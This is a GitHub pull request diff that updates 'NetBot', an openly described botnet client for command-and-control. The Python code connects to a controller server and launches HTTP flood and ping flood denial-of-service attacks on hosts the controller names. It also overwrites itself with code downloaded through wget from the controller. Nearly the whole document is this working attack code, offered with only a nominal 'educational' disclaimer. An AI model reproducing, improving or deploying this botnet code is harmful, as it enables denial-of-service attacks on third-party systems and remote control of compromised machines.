Skip to content

Cloudsofvenus update 1 #9

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ Requirements

Supports
--
- Tested on Debian, Ubuntu, CentOS and MacOS High Sierra.
- Tested on Debian, Ubuntu, CentOS and MacOS High Sierra, Windows 10 IOT,

FYI - *Prototype Warning*
--
Expand All @@ -38,6 +38,7 @@ How do I setup/test _NetBot_?
- You can test this software in a single machine itself, but the ultimate point of this software to deploy the client (bots) on different machines and the server code (CCC) on your machine.
- **very important** Make sure you modify the CCC server address on the _netbot_client.py_ code, else the bots will not connect to your CCC.
- More to be added in Wiki section soon.
- You will need install termcolor, using pip install termcolor



Expand Down
262 changes: 130 additions & 132 deletions netbot_client.py
Original file line number Diff line number Diff line change
@@ -1,148 +1,146 @@
#!/usr/bin/python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Author : Shankar Narayana Damodaran
# Tool : NetBot v1.0
#
# Description : This is a command & control center client-server code.
# Should be used only for educational, research purposes and internal use only.
# Author : Shankar Narayana Damodaran
# Contributor : CloudsOfVenus
# Tool : NetBot v1.1
#
# Description : Command & control center client-server code.
# Should be used only for educational, research purposes, and internal use only.
#

import socket
import time
import threading
import time
#import requests
import os
import urllib.request
import subprocess
import signal


class LaunchAttack:
def __init__(self):
self._running = True

def terminate(self):
self._running = False

def run(self, n):
run = 0
if n[3] == "HTTPFLOOD":
while self._running and attack_set:
url_attack = f'http://{n[0]}:{n[1]}/'
try:
urllib.request.urlopen(url_attack).read()
except Exception as e:
print(f"Error during HTTPFLOOD attack: {e}")
time.sleep(int(n[4]))

elif n[3] == "PINGFLOOD":
while self._running:
if attack_set:
if run == 0:
url_attack = f'ping {n[0]} -i 0.0000001 -s 65000 > /dev/null 2>&1'
try:
pro = subprocess.Popen(
url_attack,
stdout=subprocess.PIPE,
shell=True,
preexec_fn=os.setsid
)
run = 1
except Exception as e:
print(f"Error starting PINGFLOOD attack: {e}")
else:
if run == 1:
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
run = 0
break


def main():
# Flags
global attack_set, updated, terminate
attack_set = 0
updated = 0
terminate = 0

host = '10.0.0.169' # NetBot CCC Server
port = 5555 # NetBot CCC Port

while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port)) # Connect to the CCC Server
message = "HEARTBEAT" # Sends Alive Pings to CCC Server

while True:
# Send message to server
try:
s.send(message.encode())
except Exception as e:
print(f"Error sending data to server: {e}")
break

# Receive message from server
try:
data = s.recv(1024).decode()
except Exception as e:
print(f"Error receiving data from server: {e}")
break

# Process server response
data = data.split('_')
if len(data) > 1:
att_status, att_host, att_port = data[2], data[0], data[1]
else:
att_status = "OFFLINE"

print(f'CCC Response: {att_status}')

if att_status == "LAUNCH":
if attack_set == 0:
attack_set = 1
attack = LaunchAttack()
attack_thread = threading.Thread(target=attack.run, args=(data,))
attack_thread.start()
else:
time.sleep(15)
if attack_thread.is_alive():
print('Attack in Progress...')
elif att_status == "HALT":
attack_set = 0
time.sleep(30)
elif att_status == "HOLD":
attack_set = 0
print('Waiting for Instructions from CCC. Retrying in 30 seconds...')
time.sleep(30)
elif att_status == "UPDATE":
if updated == 0:
attack_set = 0
try:
os.system(
'wget -N http://192.168.0.174/netbot_client.py -O netbot_client.py > /dev/null 2>&1'
)
print('Client Libraries Updated')
updated = 1
except Exception as e:
print(f"Error updating client libraries: {e}")
time.sleep(30)
else:
time.sleep(30)
else:
attack_set = 0
print('Command Server Offline. Retrying in 30 seconds...')
updated = 0
time.sleep(30)
except Exception as e:
print(f"Error connecting to CCC Server: {e}. Retrying in 15 seconds...")
time.sleep(15)

class launchAttack:

def __init__(self):
self._running = True

def terminate(self):
self._running = False

def run(self, n):
run = 0
#terminate = 0
if n[3]=="HTTPFLOOD":
while self._running and attackSet:
url_attack = 'http://'+n[0]+':'+n[1]+'/'
u = urllib.request.urlopen(url_attack).read()
time.sleep(int(n[4]))

if n[3]=="PINGFLOOD":
while self._running:
if attackSet:
if run == 0:
url_attack = 'ping '+n[0]+' -i 0.0000001 -s 65000 > /dev/null 2>&1'
pro = subprocess.Popen(url_attack, stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)
run = 1
else:
if run == 1:
os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
run = 0
break



def Main():

#Flags
global attackSet
attackSet = 0
global updated
updated = 0
global terminate
terminate = 0


host = '192.168.0.174' # NetBot CCC Server
port = 5555 # NetBot CCC Port

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Establishing a TCP Connection
try:
s.connect((host,port)) # Connect to the CCC Server
message = "HEARTBEAT" # Sends Alive Pings to CCC Server

except:
print("CCC Server not online. Retrying every 15 seconds...")
updated = 0
time.sleep(15)
Main()

while True:

# message sent to server
try:
s.send(message.encode()) # use a try catch

except:
Main()
# message received from server
data = s.recv(1024)

# print the received message
#print('CCC Response:',str(data.decode()))

data = str(data.decode())
data = data.split('_')
#print('CCC Response: ', data) #check list empty code
if len(data) > 1:

attStatus = data[2]
attHost = data[0]
attPort = data[1]
else:
attStatus = "OFFLINE"


print('CCC Response: ', attStatus)

if attStatus == "LAUNCH":
if attackSet == 0:
# start a new thread and start the attack (create a new process)
attackSet = 1
c = launchAttack()
t = threading.Thread(target = c.run, args =(data, ))
t.start()

else:
time.sleep(15)
if t.is_alive():
print('Attack in Progress...')
#else:
continue
elif attStatus == "HALT":
attackSet = 0
time.sleep(30)
continue
elif attStatus == "HOLD":
attackSet = 0
print('Waiting for Instructions from CCC. Retrying in 30 seconds...')
time.sleep(30)
elif attStatus == "UPDATE":
if updated == 0:
attackSet = 0
os.system('wget -N http://192.168.0.174/netbot_client.py -O netbot_client.py > /dev/null 2>&1')
print('Client Libraries Updated')
updated = 1
time.sleep(30)
else:
time.sleep(30)
else:
attackSet = 0
print('Command Server Offline. Retrying in 30 seconds...')
updated = 0
time.sleep(30)
# close the connection
s.close()

if __name__ == '__main__':
Main()
try:
main()
except KeyboardInterrupt:
print("\nExiting NetBot...")
Loading